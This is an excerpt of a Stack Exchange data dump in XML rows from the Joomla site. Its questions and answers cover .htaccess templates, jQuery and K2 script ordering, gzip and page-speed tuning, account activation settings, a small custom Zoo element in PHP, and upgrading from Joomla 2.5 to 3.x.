  <row Id="7649" PostTypeId="2" ParentId="7646" CreationDate="2015-02-17T09:47:05.087" Score="4" Body="&lt;p&gt;There is no such thing as &quot;&lt;strong&gt;Perfect .htcaccess&lt;/strong&gt;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each site and environment are &lt;strong&gt;different&lt;/strong&gt; and have diverse needs. Having one htaccess that works for one site on one specific hosting, doesn't mean that it will work the same way on other sites on the same hosting, or on the same site on another hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lodder is right, that you should know what you are doing with the htaccess file, but I could say that is not that crucial, because if you do something that will put your site down you can just rename or delete the htaccess, and the site will be back again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although htaccess is very powerful, it's not destructive, so yes someone can experiment with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And indeed you can enhance both the &lt;strong&gt;security&lt;/strong&gt; and the &lt;strong&gt;speed performance&lt;/strong&gt; of your website through htaccess, but it's not the only thing you need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nicolas Dionysopoulos (the guy behind Akeeba backup and Admin Tools) provides a &lt;strong&gt;master htaccess&lt;/strong&gt; file, a template that contains many essential rules which you can tweak to meet your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should go through and read each line of it and make use or change whatever meets your specific needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be found here:&#xA;&lt;a href=&quot;https://github.com/nikosdion/master-htaccess/blob/master/htaccess.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/nikosdion/master-htaccess/blob/master/htaccess.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;strong&gt;More about Speed Improvements:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5220/optimizing-frontend-load-how-do-i-properly-combine-and-compress-my-js/5223#5223&quot;&gt;Optimizing frontend load, how do I properly combine and compress my JS?&lt;/a&gt;&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4435/gtmetrix-and-pagespeed-low-score&quot;&gt;gtmetrix and pagespeed low score&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;strong&gt;Similar htaccess Question in JSE:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4361/joomla-remove-index-php-htaccess/4362#4362&quot;&gt;Joomla remove index.php - redirect to homepage .htaccess&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-05-08T13:21:47.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7650" PostTypeId="2" ParentId="7648" CreationDate="2015-02-17T09:56:06.090" Score="1" Body="&lt;p&gt;&lt;strong&gt;JQuery&lt;/strong&gt; is loaded after the &lt;strong&gt;K2 javascript&lt;/strong&gt; which requires &lt;strong&gt;JQuery&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installing a plugin, doesn't mean it will fix automagically all kind of issues you probably have.&#xA;After a quick look at your site, I noticed that you are loading lots of stuff there.&#xA;Too many javascripts, css, fonts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first, review all extensions you have installed in your site. Do you need all of them ? Are you actually using all of them ? Uninstall those you don't need, or check their settings if they have options to load javascript which can be adjusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, try to tweak the jQuery Easy plugin settings, with the hope that you will be able to optimize the js loading of your site - but with all this stuff, it might not be easy.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;There is no best way to configure the plugin. As said you have too many javascript files loading and you should find the right balance and order to load them. But regarding the first error you see in your console, you need to make sure that jQuery is loading before K2 javascript.&#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;JQueryEasy Plugin Help:&lt;/h3&gt;   &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.simplifyyourweb.com/index.php/developers-corner/90-solving-jquery-jquery-and-jquery-mootools-conflict-issues-with-the-jquery-easy-plugin&quot; rel=&quot;nofollow&quot;&gt;Solving jQuery/jQuery and jQuery/MooTools conflict issues with the jQuery Easy plugin&lt;/a&gt;&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://www.simplifyyourweb.com/index.php/developers-corner/110-solving-jquery-issues-with-jquery-easy-a-case-study&quot; rel=&quot;nofollow&quot;&gt;Solving jQuery issues with jQuery Easy: a case study&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-08T13:19:47.313" LastActivityDate="2015-05-08T13:19:47.313" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7651" PostTypeId="2" ParentId="7646" CreationDate="2015-02-17T10:18:18.040" Score="3" Body="&lt;p&gt;In addition to @FFrewin's answer (I would also recommend @nikosdion's Master htaccess), you should explore the options in the html5boilerplate htaccess which provides many options for improving security and performance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/h5bp/html5-boilerplate/blob/master/dist/.htaccess&quot; rel=&quot;nofollow&quot;&gt;https://github.com/h5bp/html5-boilerplate/blob/master/dist/.htaccess&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As previously noted by @FFrewin though you can't simply drop all of these rules into your htaccess and expect it to work. Apply rules that you think you need &lt;em&gt;one by one&lt;/em&gt; and check after each that you didn't break your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to the server config then you should apply the rules there, instead of htaccess, as it wont slow down your site like a large htaccess file would. More details on that here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/h5bp/server-configs-apache&quot; rel=&quot;nofollow&quot;&gt;https://github.com/h5bp/server-configs-apache&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-02-17T10:18:18.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7652" PostTypeId="2" ParentId="7030" CreationDate="2015-02-17T10:26:43.980" Score="2" Body="&lt;p&gt;Yes, &lt;em&gt;a new template could significantly affect your SEO&lt;/em&gt;, either negatively or positively. Not only do you have to consider document semantics and elements like microdata but you must also know that performance and mobile-friendliness is also is a metric considered by search engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will a template that uses semantic sectioning elements, Landmark roles and microdata perform better in SEO terms than one that doesn't? Yes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will a faster template perform better in SEO terms than a slow one. Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider accessibility and performance as key criteria when choosing a template.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-02-17T10:26:43.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8653" PostTypeId="1" CreationDate="2015-02-17T13:57:42.463" Score="3" ViewCount="109" Body="&lt;p&gt;when i look into api.joomla.org to view available functions i always see a Little GREEN Vertical Bar to all functions where they are explained, but some functions have orange bar what they mean by  orange and green bars ? for batter understand i also included a snapshot below &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;i also read JModelList class file and i found a function&#xA;getListQuery() but this function is not shown at Joomla JModelList&#xA;api page, is this function going to be deprecated.? &lt;/li&gt;&#xA;&lt;li&gt;secondly how do i view only function that are not inherited from&#xA;base class!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zpe08.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3553" LastEditorUserId="159" LastEditDate="2015-02-18T21:09:30.963" LastActivityDate="2015-02-18T21:09:30.963" Title="What is the meaning of the colors near methods in the API documentation?" Tags="|joomla-3.x|joomla-api|joomla-framework-1.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8654" PostTypeId="1" CreationDate="2015-02-17T14:34:27.257" Score="0" ViewCount="695" Body="&lt;p&gt;This is completely annoying...&#xA;I have enabled gzip compression in Joomla system configuration&#xA;I have also enabled gzip compression in the htaccess file...&#xA;But every time I test &lt;a href=&quot;http://ganeshgrow.es&quot; rel=&quot;nofollow&quot;&gt;http://ganeshgrow.es&lt;/a&gt; in websites like GTmetrix or Google Insights, they tell me that the 70% can be compressed for a better perfomance...&#xA;So...?&#xA;What should I do?&lt;/p&gt;&#xA;" OwnerUserId="3573" LastActivityDate="2015-02-18T09:36:23.037" Title="Joomla 2.5 GZIP compression error" Tags="|joomla-2.5|.htaccess-configuration|gzip|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8655" PostTypeId="2" ParentId="7637" CreationDate="2015-02-17T14:56:46.663" Score="1" Body="&lt;p&gt;This sounds like an error with your .htaccess file. check the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you're running on localhost within a sub-Directory (your main &quot;domain&quot; is &lt;a href=&quot;http://localhost&quot; rel=&quot;nofollow&quot;&gt;http://localhost&lt;/a&gt;), you should set it to &lt;code&gt;RewriteBase /my_dir&lt;/code&gt; (replace my_dir with the actual Directory of your Joomla installation.)&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2015-02-17T14:56:46.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8656" PostTypeId="2" ParentId="8653" CreationDate="2015-02-17T14:57:17.640" Score="3" Body="&lt;p&gt;Green marked functions are public ones. Orange are protected. Private methods are red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Look at the filter buttons in the left hand side. Maybe some functions do not appear according to how these are set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) You have, as I said, filters above the left-handed list of functions. These you can use to filter out inherited methods (by clicking &lt;em&gt;down&lt;/em&gt; the &quot;Inherited&quot;-Button).&lt;/p&gt;&#xA;" OwnerUserId="3626" LastEditorUserId="3626" LastEditDate="2015-02-18T20:37:38.130" LastActivityDate="2015-02-18T20:37:38.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8657" PostTypeId="1" AcceptedAnswerId="8661" CreationDate="2015-02-17T15:06:44.763" Score="0" ViewCount="288" Body="&lt;p&gt;I use the &lt;a href=&quot;http://extensions.joomla.org/extension/feedgator&quot; rel=&quot;nofollow&quot;&gt;Joomla FeedGator extension&lt;/a&gt; to import rss feeds from blogs. I set FeedGator to put generated articles as featured articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have only the latest articles from each feed as featured articles (I have one category by feed). So old articles must be unfeatured when new articles are imported by FeedGator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FeedGator does not do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how to have automatically only the latest article of each category (= feed) as featured article ?&lt;/p&gt;&#xA;" OwnerUserId="3728" LastEditorUserId="1629" LastEditDate="2015-02-17T15:41:51.587" LastActivityDate="2015-02-17T16:14:27.747" Title="How to automatically manage joomla featured articles?" Tags="|joomla-3.x|articles|article-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8658" PostTypeId="1" AcceptedAnswerId="8659" CreationDate="2015-02-17T15:24:49.410" Score="0" ViewCount="27" Body="&lt;p&gt;I'd like to stop the need for an account to be confirmed when a user registers to be gone. On our client's website a user shouldn't need to go through the confirmation process once they've registered - they should be able to place orders immediately after they've registered without confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen that you can enable non-registered users to checkout. But I would still like to get rid of the confirmation process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this make sense? Anyone know how? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-02-17T15:38:32.430" Title="Get rid of the need for confirmation when a user registers" Tags="|joomla-2.5|virtuemart|registration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8659" PostTypeId="2" ParentId="8658" CreationDate="2015-02-17T15:38:32.430" Score="1" Body="&lt;p&gt;Try going to the following in the Joomla backend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Users&lt;/strong&gt; &gt;&gt; &lt;strong&gt;User Manager&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Options&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then set the &lt;strong&gt;New User Account Activation&lt;/strong&gt; parameter to &lt;strong&gt;None&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will disable new users having to manually activate their accounts upon registration.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-17T15:38:32.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8660" PostTypeId="2" ParentId="7625" CreationDate="2015-02-17T15:38:48.327" Score="0" Body="&lt;p&gt;The TechJoomla guys helped me a bit with this. It could probably still be cleaned up, but it checks for the item and if the Quick2Cart item Id isn't empty and it's a zoo item (so we don't accidentally check for another type of item), it displays a little badge that links to the zoo item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Building the element itself is based on this document:&#xA;[Create A Custom Element][1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the php file here's what I ended up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php&#xA;&#xA;class ElementQtc_available extends Element {&#xA;&#xA;    public function edit() {&#xA;    }&#xA;&#xA;    public function render($params = array()) {&#xA;&#xA;    }&#xA;&#xA;    public function hasValue($product_id,$client) &#xA;    {&#xA;    $db = JFactory::getDBO();&#xA;    $query = &quot;SELECT `item_id` FROM `#__kart_items` where parent='com_zoo' AND `product_id`=&quot;.$this-&amp;gt;_item-&amp;gt;id. &quot;&quot;;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $forsale = $db-&amp;gt;loadResult();&#xA;    if (!empty($forsale)) &#xA;    {&#xA;    print &quot;&amp;lt;div class='buyit'&amp;gt;&amp;lt;a href=&quot; .$this-&amp;gt;app-&amp;gt;route-&amp;gt;item($this-&amp;gt;_item). &quot;&amp;gt;Buy It!&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;    }&#xA;&#xA;    }&#xA;    }&#xA;&#xA;  [1]: http://yootheme.com/zoo/documentation/developers/create-a-custom-element&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25" LastActivityDate="2015-02-17T15:38:48.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8661" PostTypeId="2" ParentId="8657" CreationDate="2015-02-17T16:14:27.747" Score="0" Body="&lt;p&gt;The simplest way to achieve it is running a MySQL query, after running FeedGator cron job command. In this way, you can define a filter for &quot;old articles&quot; and unfeature them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you would have to modify FeedGator source code.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-02-17T16:14:27.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8662" PostTypeId="2" ParentId="8654" CreationDate="2015-02-17T16:19:07.750" Score="1" Body="&lt;p&gt;You are compressing the main html Joomla output and files delivered from your site. However, your site may be including more files from other sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To debug it, you can inspect how your page loads network resources, with Firebug or Chrome dev tools (F12), to detect uncompressed assets.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-02-17T16:45:16.617" LastActivityDate="2015-02-17T16:45:16.617" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8663" PostTypeId="1" CreationDate="2015-02-17T16:46:29.753" Score="2" ViewCount="308" Body="&lt;p&gt;I face the problem, that I have list formfield, where no values have been set in the xml formfield description. The values for the listfield will be created on runtime via jquery. When I choose a value, the value will be stored in the database, but with new open of the form the value from the database will be loaded, but not shown in the listfield. The listfield stays empty. Is this because of no standard values in the xml formfield description?&lt;/p&gt;&#xA;" OwnerUserId="463" LastEditorUserId="3" LastEditDate="2015-02-18T08:45:37.020" LastActivityDate="2015-02-18T08:45:37.020" Title="Joomla list formfield stays empty on runtime load" Tags="|joomla-3.x|jquery|jform|form-fields-types|fields|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8664" PostTypeId="2" ParentId="8654" CreationDate="2015-02-17T17:14:20.120" Score="0" Body="&lt;p&gt;There are quite a few things you can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For starters, have a look at the information that GTMatrix provides you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Serve scaled images&lt;/em&gt;&lt;/strong&gt;. When using images on websites, make sure they are always scaled down to the minimum size you need. You should also saves images as Web Version which simply means the quality is slightly reduces but the so is the size of the file, and drastically too. If you have Photoshop or Gimp, then make full use of them.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Defer parsing of JavaScript&lt;/em&gt;&lt;/strong&gt;. If I rightly remember, you're using JCE Optimize, which has the option to defer your Javascript. &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;*Leverage browser caching&lt;/strong&gt;. For more information on how to improve this, have a &lt;a href=&quot;http://gtmetrix.com/leverage-browser-caching.html&quot; rel=&quot;nofollow&quot;&gt;look at this&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Combine images using CSS sprites&lt;/em&gt;&lt;/strong&gt;. When using a CMS, this can be quite hard as most of the images will belong to other extensions, however, again, with JCE Optimize, there's an option to convert all images into a sprite, so try enabling this option.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Avoide CSS @import&lt;/em&gt;&lt;/strong&gt;. As you may notice from the results, some of your CSS files are using &lt;code&gt;@import url('URL HERE');&lt;/code&gt;. Instead of doing this, CSS files are better off being imported through the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-17T17:14:20.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8665" PostTypeId="1" AcceptedAnswerId="8667" CreationDate="2015-02-17T19:04:57.353" Score="5" ViewCount="230" Body="&lt;p&gt;I would like to know, if there're many differences between Joomla 2.5 ad Joomla 3.X&#xA;How can I update my joomla website (2.5) to the last version without losing data.&#xA;Same for my modules, plugins etc&lt;/p&gt;&#xA;" OwnerUserId="3573" LastActivityDate="2015-02-18T03:45:39.307" Title="Joomla 2.5 to Joomla 3.X" Tags="|joomla-3.x|joomla-2.5|update|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8666" PostTypeId="2" ParentId="8665" CreationDate="2015-02-17T19:10:58.540" Score="1" Body="&lt;p&gt;For the Joomla core, it updates smoothly from 2.5 to 3.x.  However, each individual extension would need to be looked at individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some, the data transfers gracefully because it's built on the same core.  Many extensions use the same version for 2.5 and 3.x and you just need to reinstall after update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For others, the extension developer did an overhaul to code between 2.5 and 3.x and the database tables may be different. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd need to seek out each extension developer's site and evaluate it.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2015-02-17T19:10:58.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8667" PostTypeId="2" ParentId="8665" CreationDate="2015-02-17T19:41:56.677" Score="2" Body="&lt;h3&gt;What's available in Joomla 3.x?&lt;/h3&gt;&#xA;&lt;p&gt;There are loads of new features that were introduced in the Joomla 3.x series. Some of the main features that I personally like are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;BCrypt&lt;/strong&gt; for password hashing, which is one of the most sophisticated methods available today.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Two Factor Authentication&lt;/strong&gt;, for additional security&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Ajax Interface&lt;/strong&gt;, allowing us developers to integrate Ajax much more easily in our extensions.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mobile ready&lt;/strong&gt;, which makes life much easier for maintaining your Joomla site &lt;em&gt;on the go&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Everything is moving towards &lt;strong&gt;jQuery&lt;/strong&gt; and moving away from Mootools&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Article Tags&lt;/strong&gt; (another step closer to not having to use K2)&lt;/li&gt;&#xA;&lt;li&gt;Ability to &lt;strong&gt;install extensions directly from the backend&lt;/strong&gt;, rather than having to manually download them from the developer site&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Multi-Lingual&lt;/strong&gt; sites are easier to make&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;A list of everything can be found here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:What%27s_new_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:What%27s_new_in_Joomla&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;But it might be best to check out the &lt;a href=&quot;https://github.com/joomla/joomla-cms&quot; rel=&quot;nofollow noreferrer&quot;&gt;Github Repository&lt;/a&gt; for very new additions to the CMS&lt;/p&gt;&#xA;&lt;h3&gt;Why migrate?&lt;/h3&gt;&#xA;&lt;p&gt;2 simple reasons:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The features listed above and in the link provided&lt;/li&gt;&#xA;&lt;li&gt;Joomla 2.5 is not officially supported anymore, which means no more features, security updates and developers will also start to cease support for those using Joomla 2.5&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3&gt;Will the migration be easy and will I lose any data?&lt;/h3&gt;&#xA;&lt;p&gt;The migration will be an easy task that should not take too long. Migrating your CMS does not migrate the 3rd party extensions, so as already mentioned, you will need to install Joomla 3.x compatible version of all 3rd party extensions unless they are built to work with both J2.5 and 3.x.&lt;/p&gt;&#xA;&lt;p&gt;There should be no data loss, however if you've installed some big extensions that are extremely old, the migration will take a little longer.&lt;/p&gt;&#xA;&lt;h3&gt;How do I upgrade?&lt;/h3&gt;&#xA;&lt;p&gt;Rather than me type every single step, have a read of the detailed migration process:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Joomla_2.5_to_3.x_Step_by_Step_Migration&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Joomla_2.5_to_3.x_Step_by_Step_Migration&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'll just say that there's no software and it's done directly from your Joomla admin backend&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Important:&lt;/strong&gt;&lt;/em&gt; Do not migrate your live site. &lt;em&gt;Take a backup&lt;/em&gt;, install it on a subdomain or localhost and run that migration on that.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-02-17T21:26:12.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8668" PostTypeId="2" ParentId="8665" CreationDate="2015-02-17T20:19:33.807" Score="0" Body="&lt;p&gt;I won't speak about &lt;strong&gt;Joomla 2,5 / 3&lt;/strong&gt; and their differences, but I would try to give you a &lt;strong&gt;frame&lt;/strong&gt; regarding your attempt to fix the issues on your site (as seen in other questions you posted recently) and the possible upgrade you are considering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Upgrading to Joomla 3&lt;/strong&gt;, is a good step, but it won't necessarily resolve any other possible issues you might have. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like you have many extensions installed on your website.&#xA;This will add an extra level of difficulty and more stuff to consider, for your the upgrade task (as others pointed you should check each extension for compatibility and upgrade instructions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important recommendation, is that this is a good chance for you, to clean up your website, from all the unneeded extensions, I have a feeling that you might have many of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, before upgrading, &lt;strong&gt;Backup&lt;/strong&gt;, and &lt;strong&gt;Restore&lt;/strong&gt; (clone) your website on another directory of your hosting account with a new database, or preferably on your local computer - there are many resources on how to do that inside this site or if you google it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your cloned site, review all the extensions installed in your site : &lt;strong&gt;Components&lt;/strong&gt;, &lt;strong&gt;Modules&lt;/strong&gt; and &lt;strong&gt;Plugins&lt;/strong&gt; and remove (uninstall) everything that you don't need, so you will end up with a lighter site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With your site cleaned up, you may look for the updates of the extensions you are actually using, and for their update method at their developers' sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that most components, require to have them up-to-date in Joomla 2.5, before upgrading Joomla core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, don't forget to check about your &lt;strong&gt;Template&lt;/strong&gt; which will probably need an update as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you will be ready to upgrade to Joomla 3. &#xA;Follow online instructions you will find easily and if you stuck anywhere - feel free to come in JSE and ask again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-02-17T20:19:33.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8669" PostTypeId="2" ParentId="8665" CreationDate="2015-02-17T20:36:22.073" Score="0" Body="&lt;p&gt;Posting my comment to Antonio as answer, because it might not be obvious for many people how to enable the upgrade to Joomla 3, within Joomla 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need other software for Joomla 2.5 to 3 upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 2.5 provides the ability to upgrade to J3 through the build in &lt;strong&gt;Joomla Update component&lt;/strong&gt;. (If not present in the admin menu, check in the extensions manager-&gt;manage extensions to see if it's disabled and enable it).&#xA;You just need to change its options to allow Short Term Releases upgrade notifications.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Admin Menu: -&gt; Components -&gt; Joomla Update.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Joomla Update Component:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the &quot;&lt;strong&gt;Options&lt;/strong&gt;&quot; Button (up right).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change: &quot;&lt;strong&gt;The update Server&lt;/strong&gt;&quot; option to &quot;&lt;strong&gt;Short Term Support&lt;/strong&gt;&quot;.&#xA;Click Save.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You should be able to see the option to upgrade to Joomla 3 now. If not do clean Joomla's cache.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-02-17T20:36:22.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8670" PostTypeId="1" CreationDate="2015-02-18T02:26:02.873" Score="4" ViewCount="1113" Body="&lt;p&gt;Lets say i have 3 k2 categories A, B, C&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and defined 2 user groups --&gt; UserGroup1, UserGroup2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Problem is how can I :&#xA;UserGroup1 can only see/edit items in category A and can only select category A as item cate in back-end&#xA;UserGroup2 can only see/edit items in category A B and can only select category A B as item cate in back-end&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have ACL Manager component installed&lt;/p&gt;&#xA;" OwnerUserId="3639" LastEditorUserId="3639" LastEditDate="2015-02-18T07:29:21.130" LastActivityDate="2015-04-23T11:36:12.357" Title="How to set ACL for K2 items Categories in backend" Tags="|k2|acl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
